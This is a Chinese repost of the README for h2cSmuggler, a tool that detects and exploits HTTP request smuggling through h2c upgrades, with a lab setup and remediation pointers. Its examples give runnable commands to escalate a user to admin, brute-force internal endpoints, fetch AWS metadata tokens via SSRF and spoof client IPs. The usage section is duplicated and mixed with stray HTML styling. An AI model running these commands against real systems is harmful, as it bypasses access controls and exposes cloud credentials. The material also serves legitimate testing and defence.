描述
h2cSmuggler 通过与 h2c 兼容的后端服务器建立 HTTP/2 明文 (h2c) 通信,将 HTTP 流量走私到不安全的边缘服务器配置proxy_pass
,从而绕过代理规则和访问控制。
![图片[1]-h2csmuggler——通过 HTTP/2 明文 (h2c) 进行的 HTTP 请求走私 - JINGGR安全-JINGGR安全](https://github.com/BishopFox/h2csmuggler/raw/master/media/diagram.png)
请参阅下面我的详细撰写内容:
- 漏洞技术解析
- 默认不安全的服务
- 修正指南Remediation guide
这里: https: //labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
如何测试?
任何转发 h2c 升级标头的代理端点都可能受到影响。由于 h2c 旨在仅在明文通道上执行,因此对 HTTPS 服务的检测通常会产生真阳性。
相比之下,HTTP 服务可能会导致误报。例如,启用 h2c 的代理可能会响应升级,而不是将其转发到 h2c 后端。
使用该--scan-list
选项测试一个或多个 Web 服务器以查找受影响的proxy_pass
端点。考虑使用从目录枚举中发现的目录列表,例如:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
使用端点列表和总线程数运行 h2cSmuggler:
./h2csmuggler.py --scan-list urls.txt --threads 5
或者,可以使用以下方法进行单独测试:
./h2csmuggler.py -x https://www.example.com/api/ --test
使用其他流行工具进行检测:
- Burp 扩展(主动扫描检查)
- Nuclei-Template(即将推出!需要修复此问题)
开发
一旦确定了可用于隧道传输的受影响端点,您现在就可以访问或暴力破解后端服务器上的内部端点并提供自定义动词或标头。在下面的演示/flag
中,我们演示了如何使用 h2c smuggling 绕过代理拒绝规则来访问内部端点。
为了补救,请不要转发用户提供的值Upgrade
或Connection
标头。请参阅技术帖子以获取更多指导。
安装说明
唯一的依赖项是 Python hyper-h2 库:
pip3 install h2
测试环境与演示
测试环境将允许您在受控环境中试验 h2cSmuggler。docker-compose
将模拟通向启用 h2c 的 Golang 后端的三个代理链:
TCP port: Description
======== ===========
8000: HTTP h2c backend
8001: HAProxy -> h2c backend (Insecure default configuration)
8002: nginx -> h2c backend (Insecure custom configuration)
8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)
[1] 生成证书并启动环境docker-compose
:
# Generate certs ./configs/generate-certificates.sh # Activate services docker-compose up
所有代理都拒绝访问/flag
h2c 后端可访问的端点。让我们尝试通过在端口 8001 上运行的 HAProxy 服务器访问被禁止的端点:
![图片[2]-h2csmuggler——通过 HTTP/2 明文 (h2c) 进行的 HTTP 请求走私 - JINGGR安全-JINGGR安全](https://github.com/BishopFox/h2csmuggler/raw/master/media/fail.png)
我们可以使用 h2cSmuggler 来确认代理的不安全--test
配置-t
:
![图片[3]-h2csmuggler——通过 HTTP/2 明文 (h2c) 进行的 HTTP 请求走私 - JINGGR安全-JINGGR安全](https://github.com/BishopFox/h2csmuggler/raw/master/media/test.png)
现在,让我们使用 h2cSmuggler 执行 h2c 升级,通过代理隧道传输我们的 HTTP/2 流量,并/flag
从后端请求端点,绕过代理的访问控制:
![图片[4]-h2csmuggler——通过 HTTP/2 明文 (h2c) 进行的 HTTP 请求走私 - JINGGR安全-JINGGR安全](https://github.com/BishopFox/h2csmuggler/raw/master/media/success.png)
如需更深入地了解正在发生的事情,请查看技术论文。
用法
h2cSmuggler 使用熟悉的类似 curl 的语法来描述走私请求:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades. positional arguments: url optional arguments: -h, –help show this help message and exit –scan-list SCAN_LIST list of URLs for scanning –threads THREADS # of threads (for use with –scan-list) –upgrade-only drop HTTP2-Settings from outgoing Connection header -x PROXY, –proxy PROXY proxy server to try to bypass -i WORDLIST, –wordlist WORDLIST list of paths to bruteforce -X REQUEST, –request REQUEST smuggled verb -d DATA, –data DATA smuggled data -H HEADER, –header HEADER smuggled headers -m MAX_TIME, –max-time MAX_TIME socket timeout in seconds (type: float; default 10) -t, –test test a single proxy server -v, –verbose
[url]
Detect and exploit insecure forwarding of h2c upgrades. positional arguments: url optional arguments: -h, –help show this help message and exit –scan-list SCAN_LIST list of URLs for scanning –threads THREADS # of threads (for use with –scan-list) –upgrade-only drop HTTP2-Settings from outgoing Connection header -x PROXY, –proxy PROXY proxy server to try to bypass -i WORDLIST, –wordlist WORDLIST list of paths to bruteforce -X REQUEST, –request REQUEST smuggled verb -d DATA, –data DATA smuggled data -H HEADER, –header HEADER smuggled headers -m MAX_TIME, –max-time MAX_TIME socket timeout in seconds (type: float; default 10) -t, –test test a single proxy server -v, –verbose” tabindex=”0″ role=”button” style=”box-sizing: border-box; position: relative; display: flex !important; padding: 0px !important; font-size: 14px; font-weight: var(–base-text-weight-medium, 500); line-height: 20px; white-space: nowrap; vertical-align: middle; cursor: pointer; user-select: none; border: 0px; border-radius: 6px; appearance: none; color: var(–fgColor-accent, var(–color-accent-fg)); background-color: transparent; box-shadow: none; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1), background-color, box-shadow, border-color; justify-content: center !important; align-items: center !important; margin: var(–base-size-8, 8px) !important; width: var(–control-small-size, 28px); height: var(–control-small-size, 28px);”>
示例
1. 扫描 URL 列表(例如https://example.com:443/api/
,,,https://example.com:443/payments
)https://sub.example.com:443/
以识别proxy_pass
易受走私的端点(测试单个服务器时要小心线程数):
./h2csmuggler.py --scan-list urls.txt --threads 5
或者,将输出重定向到文件。使用 stderr ( 2>
) 和 stdout ( 1>
)。stderr 流包含错误(例如 SSL 握手/超时问题),而 stdout 包含结果。
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2.将走私的POST请求发送https://edgeserver
到内部端点:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. 暴力破解内部端点(使用 HTTP/2 多路复用),其中dirs.txt
表示路径列表(例如/api/
,/admin/
)。
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
Host
4.通过 h2c 走私(例如 AWS 元数据 IMDSv2)利用标头 SSRF:
检索令牌:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
传输令牌:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5.使用标头欺骗 IP 地址X-Forwarded-For
以访问内部仪表板:
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
常问问题
问:为什么服务器有多个响应?
A:第一个响应是针对原始升级请求的数据响应,采用 HTTP/1.1 发起,遵循 h2c 升级协议。以下响应来自走私请求。
问:我收到了“101 切换协议”,但是我没有从远程服务器接收到任何数据。
答:我在测试中观察到了这种行为,发现即使某些服务器实际上不支持 HTTP/2,也会以 101 状态响应。
问:建立 h2c 隧道总是存在漏洞吗?
答:不。考虑使用 TLS 终止 TCP 负载均衡器(例如 ELB)直接代理到兼容 h2c 的后端。虽然您可能能够建立 h2c 连接,但如果没有强制执行访问控制,则没有可绕过的访问控制,或者无法通过启动此隧道获得特权。
问:为什么走私请求 URI 需要 Scheme?它有什么用?
答:HTTP/2 协议需要:scheme
伪标头。对于我们的用例,http
与https
likely 无关紧要。有关更多详细信息,请参阅HTTP/2 RFC:第 8.1.2.3 节。
问:我应该使用什么作为后端服务器的主机名?
答:最好从与边缘服务器相同的主机名开始。接下来,尝试使用其他主机名值。
作者
GitHub:the-bumble